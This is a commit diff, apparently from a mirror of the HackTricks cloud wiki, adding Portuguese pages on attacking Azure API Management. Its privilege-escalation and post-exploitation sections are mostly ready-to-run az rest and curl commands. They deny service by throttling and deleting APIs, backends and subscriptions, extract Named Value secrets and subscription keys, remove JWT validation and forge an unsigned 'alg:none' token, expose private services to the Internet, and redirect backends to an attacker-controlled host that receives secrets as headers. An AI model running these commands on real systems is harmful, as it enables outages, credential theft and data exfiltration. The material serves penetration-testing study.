mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-27 13:13:06 -08:00
Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az
This commit is contained in:
@@ -0,0 +1,75 @@
|
||||
# Azure - API Management Post-Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## `Microsoft.ApiManagement/service/apis/policies/write` ou `Microsoft.ApiManagement/service/policies/write`
|
||||
O atacante pode usar múltiplos vetores para causar um denial of service. Para bloquear o tráfego legítimo, o atacante adiciona políticas de rate-limiting e quota com valores extremamente baixos, impedindo efetivamente o acesso normal:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"format": "rawxml",
|
||||
"value": "<policies><inbound><rate-limit calls=\"1\" renewal-period=\"3600\" /><quota calls=\"10\" renewal-period=\"86400\" /><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Para bloquear IPs legítimos de clientes específicos, o atacante pode adicionar políticas de filtragem de IP que rejeitam requisições de endereços selecionados:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"format": "rawxml",
|
||||
"value": "<policies><inbound><ip-filter action=\"forbid\"><address>1.2.3.4</address><address>1.2.3.5</address></ip-filter><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete`
|
||||
Para fazer com que as requisições falhem, o atacante pode modificar a configuração do backend e alterar sua URL para um endereço inválido ou inacessível:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" "If-Match=*" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"url": "https://invalid-backend-that-does-not-exist.com",
|
||||
"protocol": "http"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Ou excluir backends:
|
||||
```bash
|
||||
az rest --method DELETE \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
--headers "If-Match=*"
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/apis/delete`
|
||||
Para tornar APIs críticas indisponíveis, o attacker pode excluí-las diretamente do API Management service:
|
||||
```bash
|
||||
az rest --method DELETE \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
|
||||
--headers "If-Match=*"
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
|
||||
Para bloquear o acesso pela Internet, o atacante pode desabilitar o acesso público à rede no API Management service:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"publicNetworkAccess": "Disabled"
|
||||
}
|
||||
}'
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/subscriptions/delete`
|
||||
Para bloquear o acesso de usuários legítimos, o atacante pode excluir assinaturas do API Management:
|
||||
```bash
|
||||
az rest --method DELETE \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \
|
||||
--headers "If-Match=*"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,170 @@
|
||||
# Az - API Management Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`
|
||||
|
||||
O ataque consiste em acessar segredos sensíveis armazenados em Azure API Management Named Values, seja recuperando diretamente os valores secretos ou abusando de permissões para obter segredos protegidos por Key Vault através de managed identities.
|
||||
```bash
|
||||
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
|
||||
Para cada subscription, o atacante pode obter as subscription keys usando o endpoint listSecrets com o método POST:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
|
||||
```
|
||||
A resposta inclui a chave primária da assinatura (primaryKey) e a chave secundária (secondaryKey). Com essas chaves, o atacante pode autenticar e acessar as APIs publicadas através do API Management Gateway:
|
||||
```bash
|
||||
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
|
||||
https://<service-name>.azure-api.net/<api-path>
|
||||
```
|
||||
O atacante pode acessar todas as APIs e produtos associados à assinatura. Se a assinatura tiver acesso a produtos ou APIs sensíveis, o atacante pode obter informações confidenciais ou executar operações não autorizadas.
|
||||
|
||||
## `Microsoft.ApiManagement/service/policies/write` ou `Microsoft.ApiManagement/service/apis/policies/write`
|
||||
|
||||
O atacante primeiro recupera a política atual da API:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
|
||||
```
|
||||
O atacante pode modificar a política de várias formas dependendo de seus objetivos. Por exemplo, para desabilitar a autenticação, se a política incluir JWT token validation, o atacante pode remover ou comentar essa seção:
|
||||
```xml
|
||||
<policies>
|
||||
<inbound>
|
||||
<base />
|
||||
<!-- JWT validation removed by the attacker -->
|
||||
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
|
||||
...
|
||||
</validate-jwt> -->
|
||||
</inbound>
|
||||
<backend>
|
||||
<base />
|
||||
</backend>
|
||||
<outbound>
|
||||
<base />
|
||||
</outbound>
|
||||
<on-error>
|
||||
<base />
|
||||
</on-error>
|
||||
</policies>
|
||||
```
|
||||
Para remover os controles de rate limiting e permitir ataques de denial-of-service, o atacante pode remover ou comentar políticas de quota e rate-limit:
|
||||
```xml
|
||||
<policies>
|
||||
<inbound>
|
||||
<base />
|
||||
<!-- Rate limiting removed by the attacker -->
|
||||
<!-- <rate-limit calls="100" renewal-period="60" />
|
||||
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
|
||||
</inbound>
|
||||
...
|
||||
</policies>
|
||||
```
|
||||
Para modificar a rota do backend e redirecionar o tráfego para um servidor controlado pelo atacante:
|
||||
```xml
|
||||
<policies>
|
||||
...
|
||||
<inbound>
|
||||
<base />
|
||||
<set-backend-service base-url="https://attacker-controlled-server.com" />
|
||||
</inbound>
|
||||
...
|
||||
</policies>
|
||||
```
|
||||
O atacante então aplica a policy modificada. O corpo da requisição deve ser um objeto JSON contendo a policy em formato XML:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"format": "rawxml",
|
||||
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Misconfiguração na Validação de JWT
|
||||
|
||||
O atacante precisa saber que uma API usa validação de tokens JWT e que a política está mal configurada. Políticas de validação de JWT mal configuradas podem ter `require-signed-tokens="false"` ou `require-expiration-time="false"`, o que permite que o serviço aceite tokens não assinados ou tokens que nunca expiram.
|
||||
|
||||
O atacante cria um token JWT malicioso usando o algoritmo none (unsigned):
|
||||
```
|
||||
# Header: {"alg":"none"}
|
||||
# Payload: {"sub":"user"}
|
||||
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
|
||||
```
|
||||
O atacante envia uma requisição para a API usando o token malicioso:
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
|
||||
https://<apim>.azure-api.net/path
|
||||
```
|
||||
Se a política estiver mal configurada com `require-signed-tokens="false"`, o serviço aceitará o token não assinado. O atacante também pode criar um token sem uma claim de expiração se `require-expiration-time="false"`.
|
||||
|
||||
## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
|
||||
O atacante primeiro verifica a configuração de rede atual do serviço:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
|
||||
```
|
||||
O atacante analisa a resposta JSON para verificar os valores de `publicNetworkAccess` e `virtualNetworkType`. Se `publicNetworkAccess` estiver definido como false ou `virtualNetworkType` estiver definido como Internal, o serviço está configurado para acesso privado.
|
||||
|
||||
Para expor o serviço à Internet, o atacante deve alterar ambas as configurações. Se o serviço estiver em modo Internal (`virtualNetworkType: "Internal"`), o atacante altera para None ou External e habilita `publicNetworkAccess`. Isso pode ser feito usando a Azure Management API:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"publicNetworkAccess": "Enabled",
|
||||
"virtualNetworkType": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Uma vez que `virtualNetworkType` esteja definido como `None` ou `External` e `publicNetworkAccess` esteja habilitado, o serviço e todas as suas APIs tornam-se acessíveis pela Internet, mesmo que anteriormente estivessem protegidos por uma rede privada ou endpoints privados.
|
||||
|
||||
## `Microsoft.ApiManagement/service/backends/write`
|
||||
O atacante primeiro enumera os backends existentes para identificar qual modificar:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
|
||||
```
|
||||
O atacante obtém a configuração atual do backend que deseja modificar:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
|
||||
```
|
||||
O atacante modifica o backend URL para apontar para um servidor sob seu controle. Primeiro, ele obtém o ETag da resposta anterior e então atualiza o backend:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" "If-Match=*" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"url": "https://attacker-controlled-server.com",
|
||||
"protocol": "http",
|
||||
"description": "Backend modified by attacker"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Alternativamente, o atacante pode configurar cabeçalhos do backend para exfiltrar Named Values que contenham segredos. Isso é feito através da configuração de backend credentials:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" "If-Match=*" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"url": "https://attacker-controlled-server.com",
|
||||
"protocol": "http",
|
||||
"credentials": {
|
||||
"header": {
|
||||
"X-Secret-Value": ["{{named-value-secret}}"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
Com esta configuração, Named Values são enviados como headers em todas as requests para o backend controlado pelo atacante, permitindo a exfiltração de segredos sensíveis.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,74 @@
|
||||
# Az - API Management
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
Azure API Management (APIM) é um serviço totalmente gerenciado que oferece uma **plataforma unificada para publicar, proteger, transformar, gerenciar e monitorar APIs**. Ele permite que organizações **centralizem sua estratégia de API** e garantam governança, desempenho e segurança consistentes em todos os seus serviços. Ao agir como uma camada de abstração entre serviços backend e consumidores de API, APIM simplifica a integração e melhora a manutenibilidade enquanto fornece capacidades operacionais e de segurança essenciais.
|
||||
|
||||
## Conceitos Principais
|
||||
|
||||
**O API Gateway** atua como o ponto único de entrada para todo o tráfego de API, realizando funções como roteamento de requisições para serviços backend, aplicação de limites de taxa, cache de respostas e gerenciamento de autenticação e autorização. Esse gateway é totalmente hospedado e gerenciado pela Azure, garantindo alta disponibilidade e escalabilidade.
|
||||
|
||||
**O Developer Portal** fornece um ambiente self-service onde consumidores de API podem descobrir APIs disponíveis, ler documentação e testar endpoints. Ele ajuda a agilizar o onboarding oferecendo ferramentas interativas e acesso a informações de assinaturas.
|
||||
|
||||
**O Management Portal (Management Plane)** é usado por administradores para configurar e manter o serviço APIM. A partir dele, usuários podem definir APIs e operações, configurar controle de acesso, aplicar policies, gerenciar usuários e organizar APIs em produtos. Esse portal centraliza a administração e garante governança consistente das APIs.
|
||||
|
||||
## Autenticação e Autorização
|
||||
|
||||
Azure API Management suporta vários **mecanismos de autenticação** para proteger o acesso às APIs. Isso inclui **subscription keys**, **tokens OAuth 2.0** e **certificados de cliente**. APIM também integra nativamente com **Microsoft Entra ID**, possibilitando **gerenciamento de identidade em nível corporativo** e **acesso seguro** tanto às APIs quanto aos serviços backend.
|
||||
|
||||
## Policies
|
||||
|
||||
Policies no APIM permitem que administradores personalizem o **processamento de requisições e respostas** em várias granularidades, incluindo o nível de **service**, **API**, **operation** ou **product**. Através de policies, é possível aplicar **validação de token JWT**, **transformar payloads XML ou JSON**, **aplicar rate limiting**, **restringir chamadas por endereço IP** ou **autenticar contra serviços backend usando managed identities**. Policies são **altamente flexíveis** e constituem uma das **principais forças** da plataforma API Management, permitindo **controle fino sobre o comportamento em tempo de execução** sem modificar o código backend.
|
||||
|
||||
## Named Values
|
||||
|
||||
O serviço fornece um mecanismo chamado **Named Values**, que permite armazenar **informações de configuração** como **segredos**, **API keys** ou outros valores necessários pelas policies.
|
||||
|
||||
Esses valores podem ser armazenados diretamente no APIM ou referenciados de forma segura a partir do **Azure Key Vault**. Named Values promovem **gerenciamento seguro e centralizado** de dados de configuração e simplificam a criação de policies ao permitir **referências reutilizáveis** em vez de valores hardcoded.
|
||||
|
||||
## Redes e Integração de Segurança
|
||||
|
||||
Azure API Management integra-se perfeitamente com **ambientes de rede virtual**, possibilitando **conectividade privada e segura** com sistemas backend.
|
||||
|
||||
Quando implantado dentro de uma **Virtual Network (VNet)**, o APIM pode acessar **serviços internos** sem expô‑los publicamente. O serviço também permite a configuração de **certificados customizados** para suportar **mutual TLS authentication** com serviços backend, melhorando a segurança em cenários onde é necessária **validação forte de identidade**.
|
||||
|
||||
Essas **funcionalidades de rede** tornam o APIM adequado tanto para arquiteturas **cloud-native** quanto **híbridas**.
|
||||
|
||||
### Enumerar
|
||||
|
||||
Para enumerar o serviço API Management:
|
||||
```bash
|
||||
# Lists all Named Values configured in the Azure API Management instance
|
||||
az apim nv list --resource-group <resource-group> --service-name <service-name>
|
||||
|
||||
# Retrieves all policies applied at the API level in raw XML format
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
|
||||
|
||||
# Retrieves the effective policy for a specific API in raw XML format
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01&format=rawxml"
|
||||
|
||||
# Gets the configuration details of the APIM service instance
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
|
||||
|
||||
# Lists all backend services registered in the APIM instance
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
|
||||
|
||||
# Retrieves details of a specific backend service
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
|
||||
|
||||
# Gets general information about the APIM service
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01"
|
||||
|
||||
# Calls an exposed API endpoint through the APIM gateway
|
||||
curl https://<apim>.azure-api.net/<api-path>
|
||||
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user